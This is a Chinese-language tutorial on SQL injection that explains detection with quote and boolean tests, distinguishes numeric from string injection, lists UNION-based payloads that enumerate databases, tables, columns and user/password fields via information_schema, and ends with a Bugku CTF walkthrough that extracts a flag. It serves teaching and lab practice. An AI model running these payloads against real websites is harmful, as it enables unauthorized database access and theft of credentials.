sql注入基礎原理
一、Sql注入簡介
Sql 注入攻擊是通過將惡意的 Sql 查詢或添加語句插入到應用的輸入參數中,再在后台 Sql 服務器上解析執行進行的攻擊,它目前黑客對數據庫進行攻擊的最常用手段之一。
二、Web 程序三層架構
三層架構(3-tier architecture) 通常意義上就是將整個業務應用划分為:
界面層(User Interface layer)
業務邏輯層(Business Logic Layer)
數據訪問層(Data access layer)。
區分層次的目的即為了“高內聚低耦合”的思想。在軟件體系架構設計中,分層式結構是最常見,也是最重要的一種結構被應用於眾多類型的軟件開發。
由數據庫驅動的Web應用程序依從三層架構的思想也分為了三層:
表示層。
業務邏輯層(又稱領域層)
數據訪問層(又稱存儲層)
三、Sql 注入漏洞詳解
Sql 注入產生原因及威脅:
Web 服務器會向數據訪問層發起 Sql 查詢請求,如果權限驗證通過就會執行 Sql 語句。
這種網站內部直接發送的Sql請求一般不會有危險,但實際情況是很多時候需要結合用戶的輸入數據動態構造 Sql 語句,如果用戶輸入的數據被構造成惡意 Sql 代碼,Web 應用又未對動態構造的 Sql 語句使用的參數進行審查,則會帶來意想不到的危險。
Sql 注入帶來的威脅主要有如下幾點:
猜解后台數據庫,這是利用最多的方式,盜取網站的敏感信息。
繞過認證,列如繞過驗證登錄網站后台。
注入可以借助數據庫的存儲過程進行提權等操作
四、判斷 Sql 注入點
通常情況下,可能存在 Sql 注入漏洞的 Url 是類似這種形式 :
http://xxx.xxx.xxx/abcd.php?id=XX
對 Sql 注入的判斷,主要有兩個方面:
· 判斷該帶參數的 Url 是否存在 Sql 注入?
· 如果存在 Sql 注入,那么屬於哪種 Sql 注入?
可能存在 Sql 注入攻擊的 ASP/PHP/JSP 動態網頁中,一個動態網頁中可能只有一個參數,有時可能有多個參數。有時是整型參數,有時是字符串型參數,不能一概而論。總之只要是帶有參數的 動態網頁且此網頁訪問了數據庫,那么就有可能存在 Sql 注入。如果程序員沒有足夠的安全意識,沒有進行必要的字符過濾,存在SQL注入的可能性就非常大。
4.1 判斷是否存在 Sql 注入漏洞
最為經典的單引號判斷法:
在參數后面加上單引號,比如:
http://xxx/abc.php?id=1'
如果頁面返回錯誤,則存在 Sql 注入。
原因是無論字符型還是整型都會因為單引號個數不匹配而報錯。
(如果未報錯,不代表不存在 Sql 注入,因為有可能頁面對單引號做了過濾,這時可以使用判斷語句進行注入)
4.2 判斷 Sql 注入漏洞的類型
通常 Sql 注入漏洞分為 2 種類型:
· 數字型
· 字符型
其實所有的類型都是根據數據庫本身表的類型所產生的,在我們創建表的時候會發現其后總有個數據類型的限制,而不同的數據庫又有不同的數據類型,但是無論怎么分常用的查詢數據類型總是以數字與字符來區分的,所以就會產生注入點為何種類型。
數字型判斷:
當輸入的參 x 為整型時,通常 abc.php 中 Sql 語句類型大致如下:
select * from <表名> where id = x
這種類型可以使用經典的 and 1=1 和 and 1=2 來判斷:
·
1. Url 地址中輸入 http://xxx/abc.php?id= x and 1=1 頁面依舊運行正常,繼續進行下一步。
·
1. Url 地址中繼續輸入 http://xxx/abc.php?id= x and 1=2 頁面運行錯誤,則說明此 Sql 注入為數字型注入。
原因如下:
當輸入 and 1=1時,后台執行 Sql 語句:
select * from <表名> where id = x and 1=1
沒有語法錯誤且邏輯判斷為正確,所以返回正常。
當輸入 and 1=2時,后台執行 Sql 語句:
select * from <表名> where id = x and 1=2
沒有語法錯誤但是邏輯判斷為假,所以返回錯誤。
我們再使用假設法:如果這是字符型注入的話,我們輸入以上語句之后應該出現如下情況:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查詢語句將 and 語句全部轉換為了字符串,並沒有進行 and 的邏輯判斷,所以不會出現以上結果,故假設是不成立的。
4.2.2 字符型判斷:
當輸入的參 x 為字符型時,通常 abc.php 中 SQL 語句類型大致如下:
select * from <表名> where id = 'x'
這種類型我們同樣可以使用 and '1'='1 和 and '1'='2來判斷:
1. Url 地址中輸入 http://xxx/abc.php?id= x' and '1'='1 頁面運行正常,繼續進行下一步。
1. Url 地址中繼續輸入 http://xxx/abc.php?id= x' and '1'='2 頁面運行錯誤,則說明此 Sql 注入為字符型注入。
原因如下:
當輸入 and '1'='1時,后台執行 Sql 語句:
select * from <表名> where id = 'x' and '1'='1'
語法正確,邏輯判斷正確,所以返回正確。
當輸入 and '1'='2時,后台執行 Sql 語句:
select * from <表名> where id = 'x' and '1'='2'
語法正確,但邏輯判斷錯誤,所以返回正確。同學們同樣可以使用假設法來驗證
5. 猜解數據庫
1. 1’order by #
此句后台為: select first_name,last_name FROM users WHERE user_id=’1’ order by 1# ’
當輸入order by 1時不報錯那么我們可以嘗試23456,直到報錯為止,加入數字等於時候報錯,那說明當前表只有兩個字段並且只有兩列。
2. 0’ union select 1,2,3,4#
驗證列數
3. 1’union select database(),user()#
對應:select first_name,last_name FROM users WHERE user_id=’1’ union select
database(),user()#;
此語句將查詢到用戶名和數據庫名
4. 1’union select version(),@@version_compile_os#
對應 SELECT first_name,last_name FROM users WHERE user_id=’1’ union select
version(),@@version_compile_os#
version() 獲取當前數據庫版本
@@version_compile_os 獲取當前操作系統
5. 1’ union select 1,2,table_name from information_schema.tables where table_schema=’xxx(庫名)’#
或執行
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’xxx(庫名)’#
實際執行:SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'xxx'#`;
information_schema 是 mysql 自帶的一張表,這張數據表保存了 Mysql 服務器所有數據庫的信息,如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。該數據庫擁有一個名為 tables 的數據表,該表包含兩個字段 table_name 和 table_schema,分別記錄 DBMS 中的存儲的表名和表名所在的數據庫。
通過查詢得到數據庫表名
6. 1’ union select column_name,x from information_schema.columns where
table_name=‘xx()表名’#
爆出字段名
7. 1’ union select ‘xx(字段名)’,2,3,4 from xx(表名) #
查詢最終數據
8. 1’ union select user,password from uers #
實際語句是: SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
猜測users數據表里面的字段是user 和password
例題:
靶機:(bugku web——成績單)
http://123.206.87.240:8002/chengjidan/index.phphttp://123.206.87.240:8002/chengjidan/index.php
手工注入
在這一環境中的主要是通過post方式傳入一個參數id來查詢數據庫內容。
首先判斷sql語句閉合方式
輸入1’報錯,1’#正常,說明存在注入:
1. 爆列名:1’order by 3/4/5 # 4之前 正常 5無顯示,說明有4列。
2.爆庫名: 0’union select 1,2,3,database()#
庫名:skctf_flag
3.爆表名: 0’union select 1,2,3,table_name from information_schema.tables where table_schema=’skctf_flag’ #
表名:fl4g
4爆字段名:0’union select 1,2,3,column_name from information_schema.columns where
table_name=’fl4g’ #
字段名:skctf_flag
6. 爆出關鍵字: 0' union select 1,2,3,skctf_flag from fl4g#
BUGKU{Sql_INJECT0N_4813drd8hz4}